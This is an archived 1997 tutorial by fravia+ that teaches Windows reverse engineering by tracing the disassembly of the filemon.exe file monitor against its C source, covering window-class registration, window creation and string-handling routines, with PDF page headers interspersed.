When an application calls the MessageBox function and specifies


the
MB_ICONHAND and MB_SYSTEMMODAL flags for the fuStyle parameter,
Windows

http://www.instinct.org/fravia/filemon1.htm (10 of 19) [2/7/2001 3:19:53 PM]


filemon1

displays the resulting message box regardless of available memory.


When these flags are specified, Windows limits the length of the
message-box text to three lines. Windows does not automatically
break
the lines to fit in the message box, however, so the message
string
must contain carriage returns to break the lines at the
appropriate
places.
If a message box is created while a dialog box is present, use the
handle of the dialog box as the hwndParent parameter. The
hwndParent
parameter should not identify a child window, such as a control in
a dialog box.

See Also

FlashWindow, MessageBeep

OK, we have seen "in the deep" a single Windows' function, you would be well advised to prepare yourself some
"information sheets", like the above one, for your own use, about the most important and more frequent windows
functions, WITH the values of the constants that windows uses... you'll see how easy it is to understand what an
unknown part of a program is doing just examining how it handles the DIFFERENT possible return values...
This is obviously not the case here... remember what we are doing, we are just examining an "ABORT" error
function, an anormal function that will show the user only a short error message and offer him the OK button to
click onto... you could modify the code at
:00401004 6A00 push 0 ;push right parameter: MB_OK
(=0)
into:
:00401004 6A01 push 1 ;push right parameter:
MB_OKCANCEL (=1)
Yet modifying this code would not make much sense: you would see two push buttons: OK and Cancel, only in the
event of an error (a pretty futile reverse engineering exercise :-)

The InitApplication function of filemon


Now that we have seen the ABORT function of filemon, let's work on the next routines of our target... be patient
and follow me: if you read carefully this short essay you'll master the rudiments of windows reverse engineering.

The following function, inside our C source code, is WinMain... since WinMAin is a KNOWN function (which
usually calls InitInstance and InitApp before entering a ghetmaessage loop), WinMain will be one of the LAST
code snippets that we'll reverse, we'll see first a lot of other, more or less "home-made" procedures that we'll
"solve" first (once more: we have the c source code of this target, yet my aim is to teach you how to reverse
engineer targets you DO NOT have the source code of, we'll soon operate AS IF we did not have any source code
at all, bear with me :-)
We'll pass to the next procedure, the one after Winmain. This is a standard InitApp procedure (as you'll see in the
FOURTH) part of this lesson) here is its C source code:

http://www.instinct.org/fravia/filemon1.htm (11 of 19) [2/7/2001 3:19:53 PM]


filemon1

/****************************************************************************
* FUNCTION: InitApplication(HANDLE)
* PURPOSE: Initializes window data and registers window class
****************************************************************************/
BOOL InitApplication( HANDLE hInstance )
{ WNDCLASS wc;
// Fill in window class structure with parameters that
describe the
// main (statistics) window.
wc.style = 0;
wc.lpfnWndProc = (WNDPROC)MainWndProc; !!!!
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon( hInstance, "ICON" );
wc.hCursor = LoadCursor( NULL, IDC_ARROW );
wc.hbrBackground = GetStockObject( LTGRAY_BRUSH );
wc.lpszMenuName = "LISTMENU";
wc.lpszClassName = "filemonClass";
if ( ! RegisterClass( &wc ) )
return FALSE;
return TRUE;
}

FUNCTION: InitApplication(HANDLE)
* Referenced by a CALL at Address:0040102B
BOOL InitApplication( HANDLE hInstance)
This function fills in the window class structure with parameters that describe the main (statistics) window of our
target... it's one of the main "initializing" functions of our target

:004010B0 8B442404 mov eax, [esp + 04] ;get


hInstance
:004010B4 83EC28 sub esp, 00000028
:004010B7 C744240000000000 mov [esp], 00000000
:004010BF 89442410 mov [esp + 10], eax
:004010C3 56 push esi ;save esi
:004010C4 C744240890114000 mov [esp + 08], 00401190 ;See below
what is this
:004010CC C744240C00000000 mov [esp + 0C], 00000000
:004010D4 C744241000000000 mov [esp + 10], 00000000
:004010DC 68E4804000 push 004080E4
;StringData "ICON"
:004010E1 50 push eax ;push
hInstance
:004010E2 FF15F4B24400 Call dword ptr [0044B2F4]
;USER32.LoadIconA
:004010E8 89442418 mov [esp + 18], eax ;save
return value
:004010EC 68007F0000 push 00007F00
;7F=IDC_ARROW

http://www.instinct.org/fravia/filemon1.htm (12 of 19) [2/7/2001 3:19:53 PM]


filemon1

:004010F1 6A00 push 00000000 ;NULL


:004010F3 FF15F8B24400 Call dword ptr [0044B2F8]
;USER32.LoadCursorA
:004010F9 8944241C mov [esp + 1C], eax ;save
return value
:004010FD 6A01 push 1
;1=LTGRAY_BRUSH
:004010FF FF15CCB14400 Call dword ptr [0044B1CC]
;GDI32.GetStockObject

:00401105 C7442424D8804000 mov [esp + 24], 004080D8 ;StringData


"LISTMENU"
:0040110D C7442428C8804000 mov [esp + 28], 004080C8 ;StringData
"filemonClass"
:00401115 89442420 mov [esp + 20], eax ;save
return in esp+20
:00401119 8D442404 lea eax, [esp + 04] ;get
WNDCLASS wc
if ( ! RegisterClass( &wc ) )
return FALSE;
return TRUE

:0040111D 50 push eax ;push


WNDCLASS wc
:0040111E FF15FCB24400 Call dword ptr [0044B2FC]
;USER32.RegisterClassA
:00401124 663D0100 cmp ax, 0001 ;did we
get it through?
:00401128 5E pop esi
:00401129 1BC0 sbb eax, eax ;if zero
return false
:0040112B 83C428 add esp, 00000028
:0040112E 40 inc eax ;else
return true
:0040112F C3 ret
Well, let's see what happens when we get back from this procedure:

:WinMain of filemon calls InitApplication


:00401020 83EC1C sub esp, 0000001C
:00401023 53 push ebx
:00401024 56 push esi
:00401025 8B742428 mov esi, [esp + 28]
:00401029 57 push edi
:0040102A 56 push esi
:0040102B E880000000 call 004010B0 ;call
InitApplication(HANDLE)
:00401030 83C404 add esp, 4 ;correct esp
:00401033 85C0 test eax, eax ;was it zero?

http://www.instinct.org/fravia/filemon1.htm (13 of 19) [2/7/2001 3:19:53 PM]


filemon1

:00401035 750B jne 00401042 ; if


InitApplication(hInstance) OK
; continue WinMain
:00401037 33C0 xor eax, eax ;else return FALSE
:00401039 5F pop edi
:0040103A 5E pop esi
:0040103B 5B pop ebx
:0040103C 83C41C add esp, 1C
:0040103F C21000 ret 10
Therefore the above snippet is:

if (! InitApplication(hInstance))
return FALSE;
Which is a part of WinMain, btw.

The trick for finding MainWndProc


God, I realize now that I should begin to explain the whole WNDCLASS structure... please study it yourself... if
you bought (as you should have done) the COMPLETE Borland C++ Version 4.52 for less than 4 UK pounds (see
here), you'll have all important specs at your fingertips from the huge API helpfiles (7 million bytes for Win32 and
3 million bytes for Win31).
I'll explain here only part of the API calls... The most important element here, for us, is that WNDCLASS' member
lpfnWndProc POINTS TO THE CALLBACK WINDOW PROCEDURE!
Let's approach the above code (of InitApplication) slowly... What was the value "401190" at 10C4?

:004010C4 C744240890114000 mov [esp + 08], 00401190


That is the location of the MainWndProc!
Windows is so kind to tell us, in many occasions, WHERE the "obligatory" functions of an unknown program
start!
If Peter Urbanik, the author of Wdasm, would listen to us, instead of uselessly updating his program every couple
of weeks, he would work on this to get a spectacular tool for reverse engineering!
OK, every single WNDCLASS call of a windows program carries inside itself the location of the caller... in this
case (as in most initialization parts of code) WNDCLASS is called at initialization by a little initialization routine
(here in filemon called InitInstance) which is in turn called by the main "homemade" procedure of our target, here
in filemon called MainWndProc... nice to know, isn't it?
There is more: since WNDCLASS has a parameter lpszClassName, which points to a null-terminated string that
specifies the name of the window class (in the case of filemon "filemonClass"), it's pretty easy to find all
occurrences of WNDCLASS inside any unknown target just examining its strings (and you can use good old
Frattaroli's strings.zipto do it) ... nice isn't it?

What have we more up there? Let's see

:004010EC 68007F0000 push 00007F00 ;IDC_ARROW


hCursor Identifies the class cursor. This member must be a handle to a cursor resource. There are many resources
of each type, for the joy of a good reverse engineer...
Here you go! experiment a little (change it with Hexworkshop inside filemon.exe, play with your targets! In this
specific case you wont see much, though, because this is the "ghost" "loaded" cursor of filemon... you should

http://www.instinct.org/fravia/filemon1.htm (14 of 19) [2/7/2001 3:19:53 PM]


filemon1

change the SetCursor function's parameter to change the cursor of an application)

32512 (0x7F00) = IDC_ARROW ;that's what we have


32513 (0x7F01) = IDC_IBEAM ;Text I-beam cursor.
32514 (0x7F02) = IDC_WAIT ;that's the hourglass
...
32560 = IDC_APPSTARTING
Another parameter:

:004010FD 6A01 push 00000001 ;LTGRAY_BRUSH


Since GRAY BRUSH is 2 and DARKGRAY BRUSH is 3, you may experiment as well with some colors... If you
substitute :004010FD 6A01 with :004010FD 6A03 you'll indeed see (for a moment) your DKGRAY_BRUSH
"behind" the filling of the main window of filemon, once more this is the "initializing" routine, which is called at
the beginning of our target's life, many parameter will be "reconfirmed" later on.
What's more up there? Yes: RegisterWindowClass... once created, the WNDCLASS data must be "registered" in
order to pass to the subsequent CreateWindow function... Let's have a look at the code of WinMain that will be
performed if the InitApplication routine returns successful...

:WinMain after InitApplication


:00401042 8B442438 mov eax, [esp + 38]
:00401046 50 push eax
:00401047 56 push esi
:00401048 E8E3000000 call 00401130=InitInstance
:0040104D 83C408 add esp, 00000008
:00401050 85C0 test eax, eax
:00401052 750B jne 0040105F ;if InitInstance
successful
;continue WinMain
:00401054 33C0 xor eax, eax ;else return FALSE
:00401056 5F pop edi
:00401057 5E pop esi
:00401058 5B pop ebx
:00401059 83C41C add esp, 0000001C
:0040105C C21000 ret 0010

A Windows is born
This huge operating system will now perform its most characteristic work: create a Window. Prepare yourself
another cocktail, this will take quite a while...
/****************************************************************************
* FUNCTION: InitInstance(HANDLE, int)
* PURPOSE: Saves instance handle and creates main window
****************************************************************************/
HWND InitInstance( HANDLE hInstance, int nCmdShow )
{ HWND hWndMain;
hInst = hInstance;
hWndMain = CreateWindow(

http://www.instinct.org/fravia/filemon1.htm (15 of 19) [2/7/2001 3:19:53 PM]


filemon1

"filemonClass", "Win95 File Monitor", WS_OVERLAPPEDWINDOW,


CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL );

// if window could not be created, return "failure"


if (! hWndMain)
return NULL;

// make the window visible; update its client area; and


return "success"
ShowWindow(hWndMain, nCmdShow);
UpdateWindow(hWndMain);
return hWndMain;
}
This HWND "hWndMain" translates to:
CreateWindow (...)
:00401130 8B442404 mov eax, [esp + 04] ;get hInstance
:00401134 56 push esi ;save esi
:00401135 6A00 push 00000000 ;last NULL
lpvparameter
:00401137 A3E8994000 mov [004099E8], eax ;save hInstance
(HEY! A memory loc!)
:0040113C 50 push eax ;push hInstance
:0040113D 6A00 push 00000000 ; NULL hmenu
:0040113F 6A00 push 00000000 ; NULL hwndparent
:00401141 6800000080 push 80000000 ; CW_USEDEFAULT
:00401146 6800000080 push 80000000 ; CW_USEDEFAULT
:0040114B 6800000080 push 80000000 ; CW_USEDEFAULT
:00401150 6800000080 push 80000000 ; CW_USEDEFAULT
:00401155 680000CF00 push 00CF0000 ; WS_OVERLAPPEDWINDOW
:0040115A 68EC804000 push 004080EC ; "Win95 File Monitor"
:0040115F 68C8804000 push 004080C8 ; "filemonClass"
:00401164 6A00 push 00000000
:00401166 FF15E8B24400 Call dword ptr [0044B2E8];
USER32.CreateWindowExA, Ord:55h
:0040116C 8BF0 mov esi, eax ;get the handle to the new
window in esi
:0040116E 85F6 test esi, esi ;test it
:00401170 7504 jne 00401176 ;if created OK, continue
to showwindow
:00401172 33C0 xor eax, eax ;else return NULL (i.e.
FALSE)
:00401174 5E pop esi
:00401175 C3 ret

Ok, let's have a look at this important function:

HWND CreateWindow(lpszClassName, lpszWindowName, dwStyle, x, y,

http://www.instinct.org/fravia/filemon1.htm (16 of 19) [2/7/2001 3:19:53 PM]


filemon1

nWidth, nHeight,
hwndParent, hmenu, hinst, lpvParam)

LPCSTR lpszClassName; /* address of registered class name


*/
LPCSTR lpszWindowName; /* address of window text
*/
DWORD dwStyle; /* window style
*/
int x; /* horizontal position of window
*/
int y; /* vertical position of window
*/
int nWidth; /* window width
*/
int nHeight; /* window height
*/
HWND hwndParent; /* handle of parent window
*/
HMENU hmenu; /* handle of menu or child-window
identifier */
HINSTANCE hinst; /* handle of application instance
*/
void FAR* lpvParam; /* address of window-creation data
*/

lpszClassName is "filemonClass" (what we have registered)


lpszWindowName is "Win95 File Monitor" (what you see in the
main window of
filemon)
dwStyle is WS_OVERLAPPEDWINDOW = 00CF0000 (which
creates an overlapped
window having the WS_OVERLAPPED, WS_CAPTION,
WS_SYSMENU,
WS_THICKFRAME, WS_MINIMIZEBOX, and
WS_MAXIMIZEBOX styles)
int x is CW_USEDEFAULT
This value specifies the initial x-position of the window. For an overlapped or pop-up window, the x parameter is
the initial x-coordinate of the window's upper-left corner, in screen coordinates. For a child window, x is the
x-coordinate of the upper-left corner of the window in the client area of its parent window. If, like here in filemon,
this value is CW_USEDEFAULT, Windows selects the default position for the window's upper-left corner and
ignores the y parameter. CW_USEDEFAULT is valid only for overlapped windows... if you firmly believe that
Mark Russinovich and Bryce Cogswell should have let their program appear in the top left corner of the screen
instead of using the default position then go ahead! Modify whatever you want!
Int y is CW_USEDEFAULT, as above for the y-position
nWidth is CW_USEDEFAULT
This value specifies the width, in device units, of the window. For overlapped windows, the nWidth parameter is
either the window's width (in screen coordinates) or CW_USEDEFAULT. If nWidth is CW_USEDEFAULT, like

http://www.instinct.org/fravia/filemon1.htm (17 of 19) [2/7/2001 3:19:53 PM]


filemon1

here in filemon, Windows selects a default width and height for the window (the default width extends from the
initial x-position to the right edge of the screen, and the default height extends from the initial y-position to the top
of the icon area). CW_USEDEFAULT is valid only for overlapped windows.
nHeight is CW_USEDEFAULT, as above for the
height
hwndParent is NULL. This value identifies the parent or
owner window of the
window being created. Overlapped windows must
NOT have a parent
(hParent must be NULL)
hMenu is NULL, handle of menu identifier
hInstance is the value in eax, and identifies the
instance of the module to
be associated with the window.
LpvParam is the WM_CREATE param
Well, what returns CreateWindow? The return value is the handle of the new window if the function is successful.
Otherwise, it is NULL. Everything is OK with old good filemon, let's continue...

A window has been "made" it's name is hWndMain let's show it to the world

:ShowWindow(hWndMain, nCmdShow); make the window visible & update


its client area
:00401176 8B44240C mov eax, [esp + 0C] ;get nCmdShow
:0040117A 50 push eax ; nCmdShow
:0040117B 56 push esi ; hWndMain (handle
was in esi)
:0040117C FF15ECB24400 Call dword ptr [0044B2EC]
;USER32.ShowWindow, Ord:022Ch

UpdateWindow(hWndMain);
:00401182 56 push esi ; hWndMain (handle was in esi)
:00401183 FF15F0B24400 Call dword ptr [0044B2F0]
;USER32.UpdateWindow, Ord:024Fh
:00401189 8BC6 mov eax, esi ;return to WinMain with
hWndMain in eax
:0040118B 5E pop esi ;let's have the old esi back
:0040118C C3 ret
If you never programmed before, you could legitimately ask yourself why the hell we have to show and update a
window we have created a minute ago... see: ShowWindow specifies how the window is to be shown... hide=0,
normal=1, otherzoom=2, maximize=3, otherunzoom=4, show=5 etc... therefore the value in esp+0C determines
HOW the windows will appear, and it has been already determined calling WinMain, which has following
parameters: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow), the last "int" one being the nCmdShow... have a look in the code following the program entry
point for this.
Once show, the window must be updated. The UpdateWindow function updates the client area of our window by
sending a WM_PAINT message to the window if the update region for the window is not empty. The function
sends a WM_PAINT message directly to the window procedure, bypassing the application queue. If the update
region is empty, no message is sent.

http://www.instinct.org/fravia/filemon1.htm (18 of 19) [2/7/2001 3:19:53 PM]


filemon1

We are now finished with the InitInstance procedure, have our nice main window, must move on: back to
WinMain!

:WinMain continued
:0040105F 8D44240C lea eax, [esp + 0C] ;
:00401063 6A00 push 00000000
:00401065 6A00 push 00000000
:00401067 8B3500B34400 mov esi, [0044B300]
:0040106D 6A00 push 00000000
:0040106F 50 push eax
:00401070 FFD6 call esi
:00401072 85C0 test eax, eax
:00401074 742B je 004010A1
:00401076 8B3D94B24400 mov edi, [0044B294]
:0040107C 8B1D8CB24400 mov ebx, [0044B28C]
Well, we'll continue with another lesson, we have almost 50.000 bytes here!
(c) fravia+ 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:
filemon2 filemon3 filemon4 filemon5

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/filemon1.htm (19 of 19) [2/7/2001 3:19:53 PM]


filemon2

How to reverse engineer a Windows 95 target


REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2b)
by fravia+ (MSRE), August 1997

(Part B: reverse engineering without source code - 04 August 1997)


Courtesy of Fravia's page of reverse engineering

Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries

Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)

UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2b)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part B: Reverse engineering without source code)
by Fravia (MSRE), August 1997

Well, in the first part of this essay we have got an "introduction" to the structure of filemon.exe,
let's have a "global" look before continuing...
The structure of our target
Have a look at your C source code, smack at the beginning:
usual #includes
Note that among the various "standard" includes there is an #include resource.h and an #include
/vxd/ioctlcmd.h... there you'll find "homemade" IDs since, as applications grow, Micro$oft's
developer studio defines for the programmers a number of new IDs (symbols). This are MOST
important for reverse engineering purposes... have a look at the RESOURCE.H file, for instance.

http://www.instinct.org/fravia/filemon2.htm (1 of 21) [2/7/2001 3:20:05 PM]


filemon2

(Note, moreover, that the "windowsx.h" included file is, among other API-macro functions, the
official "window message crackers" file :-)
usual #defines
(check also the #defines inside the #includes)
usual variable declarations
usual procedure declarations
And then, the c code for the various functions of this winprogram:
01) FUNCTION Abort ;This, as we have already seen, starts at 1000
02) FUNCTION WinMain
03) FUNCTION InitApplication ;This, as we have already seen, starts at 10B0
04) FUNCTION InitInstance ;This, as we have already seen, starts at 1130
05) FUNCTION MainWndProc
06) FUNCTION Split
07) FUNCTION List_Append
08) FUNCTION UpdateStatistics
09) FUNCTION CreateListView
10) FUNCTION SaveFile ;This, as we have already seen, starts at 1C20
11) FUNCTION FilterProc
12) FUNCTION About

Where are the other corrispondences?


Let's examine the dead listing of our target... looking for "CALLS" we get the quite long (and
therefore truncated) list below:

:Location_List
:00401000 ; START OF CODE SEGMENT (Error handling: Abort function)
:1020 ; (2626 calls)
:10B0 ; (102B calls) ;This is InitApplication
:1130 ; (1048 calls) ;This is InitInstance
:1750 ; (17A9 calls)
:1790 ; (1AFB calls)
:1A40 ; (166E and 16E5 calling)
:1B50 ; (124A calls)
:1C20 ; (1579 and 1596 calling); This is SaveFile
:21CC ; (1D0C calls)
:21E0 ; (1276, 1288, 129A, 20A2, 20B9, 20CB calling)
....
:004024E0 ;program entry point
...
And so on, and so on, there are many more routines (the target's listing reaches :0040696E) but, as
you can see from the Location_List above, the FUNCTIONS we are looking for are evidently
situated in the same (first) part of the code, in a sequence that recalls the C listing's one.

http://www.instinct.org/fravia/filemon2.htm (2 of 21) [2/7/2001 3:20:05 PM]


filemon2

Besides, note how the routine starting at 21E0 is called from six different points... typical of a
"inner working" routine as opposite to a function, that's the reason I did not listed the following
routines beteen this 210 and "program entry point".
If you are unsure just have a look... examining routines, you'll get an idea of what they are about,
and there is a quick "automated" routine sniffing trick ("climbing the tree"), that you'll learn in the
third part of this essay...
Let's first of all discuss the "program entry point" sequence, a code snippet that you'll find
ALWAYS, with the usual small variations, inside all windows programs.

Here at program entry, before calling WinMain, we have the "usual" preparation performed by all
(compiled) windows programs.
See - at program entry - the following sequence of "catering" routines:
GetVersion-HeapCreate-Variable
setting-GetStartupInfo-GetFileType-SetHandleCount-GetCommandLineA (btw: you should
investigate, on more obscure targets, this "GetCommandLine" part of the code, in order to see if
there are, "secret" argument switches that you could trigger starting your target :-);
GetStartupInfoA, GetModuleHandleA, and then we find following call:

:00402626 E8F5E9FFFF call 00401020,


which smells from far away like the call to WinMain...

Indeed, if you look at our target's Location_List above, you'll see that this 1020 address is the only
possible function's entry between 1000 (start of code and Abort function, as we have already seen)
and 10B0 (InitApplication function). Then follow 1130 (InitInstance function), and what do we
have thereafter? 1750, 1790, 1A40 1B50 and 1C20 (and this we know already! It's the SaveFile
function!)
These four functions' entry points should correspond, respectively, to the C source code functions
MainWndProc, Split, List_Append, UpdateStatistic and CreateListView... mmm... bad! 4 routines
in assembly and 5 functions in C... let's have a closer look at everything!

Our first loop


The first one, at 1750, is a routine that "counts" something, with a loop that increases the value bx,
value that this routine returns to the caller:
:00401750 8B442404 mov eax, [esp + 04] ;get the 1st param from
caller
:00401754 53 push ebx ;save old bx
:00401755 56 push esi ;save old esi
:00401756 33DB xor ebx, ebx ;clean bx
:00401758 0FBE742410 movsx byte ptr esi, [esp + 10] ;2nd param
:0040175D 57 push edi ;save old edi
:0040175E 8B7C2418 mov edi, [esp + 18] ;3rd param from caller

http://www.instinct.org/fravia/filemon2.htm (3 of 21) [2/7/2001 3:20:05 PM]


filemon2

:loop_1762_call 2260
:00401762 8907 mov [edi], eax ;get ax in [edi] holder
:00401764 83C704 add edi, 4 ;increase holder
:00401767 43 inc ebx ;we are counting (cnt++)
:00401768 56 push esi ;rightmost param for call
:00401769 50 push eax ;leftmost param, loop
increased
:0040176A E8F10A0000 call 00402260 ;call 2260 (with increased
ax)
:0040176F 83C408 add esp, 8 ;correct stack
:00401772 85C0 test eax, eax ;is it 0?
:00401774 7406 je 0040177C ;exit loop if 0 returned
:00401776 C60000 mov byte ptr [eax], 0 ;else zero *[ax]
:00401779 40 inc eax ;returned value =returned
value+1
:0040177A EBE6 jmp 00401762 ;loop back

:exit_loop
:0040177C 8BC3 mov eax, ebx ;this, ebx is the value
:0040177E 5F pop edi ;returned by this function,
:0040177F 5E pop esi ;it corresponds to cnt in the
:00401780 5B pop ebx ;c code and corresponds to the
:00401781 C3 ret ;number of loops and 2260 calls
So, what does this function do? It's substantially a loop, calling ANOTHER routine until this one
returns zero!... Looks like a for construction, therefore we are most probably looking at the SPLIT
function (which is the first one in our c source code with such a construction!).
If we have a look at the 2260 routine that this function calls at each loop, we'll see that it's main
purpose is to manipulate the value in ax (with a couple of loops).
Since the split function is in turn called from the List_Append function, let's go on, and examine
the next function in our disassembled text, at 1790. This function is connected to the previous one
(which is called after a couple of pushes), and it calls in turn a sequence of string operations
(lstrlenA, wsprintfA) before sending a Message
We have obviously to do with a string manipulation function... we will in short imagine that we
DO NOT have the source code of our target, and we'll see what we can figure out, but first, since
in the reality we know that this is the List_Append function, let's have a look at the beginning of
List_Append, here below, which coincides with the following three lines of c code:
itemcnt = itemcnt= Split( line, '\t', items );
if ( itemcnt == 0 )
return TRUE;
These lines translate into:

http://www.instinct.org/fravia/filemon2.htm (4 of 21) [2/7/2001 3:20:05 PM]


filemon2

:00401790 81ECA0000000 sub esp, 000000A0 ;adjust stack


:00401796 8D442450 lea eax, [esp + 50] ;get items
:0040179A 53 push ebx ;will pop
:0040179B 8B8C24B0000000 mov ecx, [esp + 000000B0] ;get line
:004017A2 56 push esi ;will pop
:004017A3 57 push edi ;will pop
:004017A4 55 push ebp ;will pop
:004017A5 50 push eax ;items param
:004017A6 6A09 push 00000009 ;\t (char
delimiter)
:004017A8 51 push ecx ;line param
:004017A9 E8A2FFFFFF call 00401750=split ;split(line, '\t',
items)
:004017AE 83C40C add esp, 0000000C ;adjust stack
:004017B1 8BD8 mov ebx, eax ;save return value
cnt=itemcnt
:004017B3 85DB test ebx, ebx ;if itemcnt is NOT
zero
:004017B5 7510 jne 004017C7 ;continue List_Append
:004017B7 B801000000 mov eax, 1 ;else return TRUE
:004017BC 5D pop ebp ; and poppall
:004017BD 5F pop edi
:004017BE 5E pop esi
:004017BF 5B pop ebx
:004017C0 81C4A0000000 add esp, 000000A0 ;re-orden stack
:004017C6 C3 ret
Note, above at 17A6, the escape sequence 9 for "horizontal tab"... have a look at your ASCII
table... 07 is bell, 08 is backspace and so on... basically, ANY TIME you see a "funny" value (i.e.
not one and not zero) pushed for a call, you have the possibility to understand what the call itself
is about using just a little "feeling", most of the time you wont even need to "climb" the calling
tree (you'll anyway learn how to climb effectively in the third part of this essay). Here, the fact
that one of the passed parameter is a TAB let's us immediately understand that the other two
parameters for our split function must have to do with characters... as they indeed do

Cracking without source code


So, let's now imagine that we have NOT the source code of our target, and let's see what does this
"mysterious" function do, once passed the "1050" call check.
We'll now study a little this function
A word about the three routines, that we will encounter in the snippet of code below: wsprintf,
lstrlen and SendMessage

http://www.instinct.org/fravia/filemon2.htm (5 of 21) [2/7/2001 3:20:05 PM]


filemon2

wsprintf(lpszOutput, lpszFormat, ...)


LPSTR lpszOutput; /* address of string for output*/
LPSTR lpszFormat; /* address of format-control string*/
. . . /* Specifies zero or more optional
arguments*/
The wsprintf function formats and stores a series of characters
and values in a buffer. Each argument (if any) is converted
according to the corresponding format specified in the format
string. The return value is the number of bytes stored in the
lpszOutput string, not counting the terminating null character,
if the function is successful.

lstrlen(lpszString)
LPCSTR lpszString; /* address of string to count*/
The lstrlen function returns in bytes the length of the specified
string (not including the terminating null character).

SendMessage(hwnd, uMsg, wParam, lParam)


HWND hwnd; /* handle of destination window */
UINT uMsg; /* message to send */
WPARAM wParam; /* first message parameter */
LPARAM lParam; /* second message parameter */
The SendMessage function sends the specified message to the given
window. The function calls the window procedure for the window and
does not return until that window procedure has processed the
message. The return value specifies the result of the message
processing and depends on the message sent.

A big chunk of List_Append


Now be patient, there is a big chunk of code awaiting you, just read it slowly, and check my
findings... you do not need to check the source c code yet, you'll (I hope) understand everything
LOOKING AT THE DISASSEMBLED CODE, with the knowledge you already have if you
followed me until this point. You'll see that the beginning of the code chunk below "turns" around
a "big verification" and a "little loop". Let's have a good look at this mysterious (List_Append :-)
routine

:004017C7 8B442460 mov eax, [esp + 60] ;get


parameter
:004017CB 803800 cmp byte ptr [eax], 00 ;is it
zero?
:004017CE 0F84B6000000 je 0040188A ;yes do
not big verify

http://www.instinct.org/fravia/filemon2.htm (6 of 21) [2/7/2001 3:20:05 PM]


filemon2

:004017D4 BFFFFFFF7F mov edi, 7FFFFFFF ;no, big


verify
;with
edi=0x7FFFFFFF
:004017D9 8BB424B4000000 mov esi, [esp + B4] ;with
this si
:004017E0 8BAC24B8000000 mov ebp, [esp + B8] ;and
these optional

;arguments for wsprintf


:big verify from above or from Address:004018E6(C)
:004017E7 8B442460 mov eax, [esp + 60] ;get
parameter
:004017EB 803800 cmp byte ptr [eax], 00 ;is it
zero?
:004017EE 0F8408010000 je 004018FC ;yes,
exit big verify
:004017F4 55 push ebp ;optional arguments
:004017F5 68BC814000 push 004081BC ;("%d") format-control
string
:004017FA 68A0944000 push 004094A0 ;address of string for
output
:004017FF FF15BCB24400 Call dword ptr [0044B2BC]
;USER32.wsprintfA output
:00401805 C744244405000000 mov [esp + 44], 5
:0040180D 897C2448 mov [esp + 48], edi
:00401811 83C40C add esp, C
:00401814 C744244000000000 mov [esp + 40], 0
:0040181C C744244CA0944000 mov [esp + 4C], 004094A0 ;save
address here
:00401824 68A0944000 push 004094A0 ;address of
stringbuffer
:00401829 FF15D4B14400 Call dword ptr [0044B1D4]
;KERNEL32.lstrlenA, count
:0040182F 40 inc eax ;add one to
count
:00401830 8D4C2438 lea ecx, [esp + 38] ;get lMsgParam2
:00401834 89442450 mov [esp + 50], eax ;save counted
bytes
:00401838 51 push ecx ;push
lMsgParam2
:00401839 896C245C mov [esp + 5C], ebp ;save ebp there
:0040183D 6A00 push 0 ;push wMsgParam1
:0040183F 6807100000 push 00001007 ;push uMsg 1007

http://www.instinct.org/fravia/filemon2.htm (7 of 21) [2/7/2001 3:20:06 PM]


filemon2

(see below)
:00401844 56 push esi ;push hWnd
:00401845 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessageA
:0040184B 83F8FF cmp eax, FFFFFFFF ;returned -1?
:0040184E 8BF8 mov edi, eax ;save returned
result (row)
:00401850 0F85A6000000 jne 004018FC ;-1, let's exit
big verify
:00401856 55 push ebp ;else let's prepare
error message
:00401857 6898814000 push 00408198 ;"Error adding item
%d to list view"
:0040185C 68A0944000 push 94A0=Strings_buffer;address of
output string
:00401861 FF15BCB24400 Call dword ptr [0044B2BC]
;USER32.wsprintfA, Ord:262h
:00401867 83C40C add esp, C ;correct stack
:0040186A 6A00 push 0 ;push MB_OK
:0040186C 6888814000 push 00408188 ;"filemon Error" is
WMsgParam
:00401871 68A0944000 push 004094A0 ;previous string is
the message
:00401876 56 push esi ;push usual hWnd
:00401877 FF1590B24400 Call dword ptr [0044B290]
;USER32.MessageBoxA, Ord:195h
:0040187D 33C0 xor eax, eax ;exit routine with a
return FALSE
:0040187F 5D pop ebp ;pop them all
:00401880 5F pop edi
:00401881 5E pop esi
:00401882 5B pop ebx
:00401883 81C4A0000000 add esp, A0
:00401889 C3 ret ;exit FALSE

:here_from_start_if_no_need_to_big_verify
:0040188A 8BB424B4000000 mov esi, [esp + B4] ;get hWnd
:00401891 6A00 push 0 ;lMsgParam2
:00401893 C744243C04000000 mov [esp + 3C], 4
:0040189B C744244400000000 mov [esp + 44], 0
:004018A3 6A00 push 0 ;wMsgParam1
:004018A5 6804100000 push 1004 ;message 1004
:004018AA 56 push esi ;usual window
:004018AB FF15D8B24400 Call dword ptr [0044B2D8]

http://www.instinct.org/fravia/filemon2.htm (8 of 21) [2/7/2001 3:20:06 PM]


filemon2

;USER32.SendMessageA, Ord:01D9h
:004018B1 8D78FF lea edi, [eax-01] ;edi = return-1
:004018B4 8BAC24B8000000 mov ebp, [esp + B8]
:004018BB 85FF test edi, edi ;OK SendMessage?
:004018BD 7C24 jl 004018E3 ;do not little loop
if lower

:little loop
:004018BF 8D442438 lea eax, [esp + 38] ;get
lMsgParam2
:004018C3 897C243C mov [esp + 3C], edi ;save edi
:004018C7 50 push eax ;lMsgParam2
:004018C8 6A00 push 0 ;wMsgParam1
:004018CA 6805100000 push 1005 ;message
1005
:004018CF 56 push esi ;usual
window
:004018D0 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessageA, Ord:01D9h
:004018D6 85C0 test eax, eax ;test result
:004018D8 7406 je 004018E0 ;continue if zero
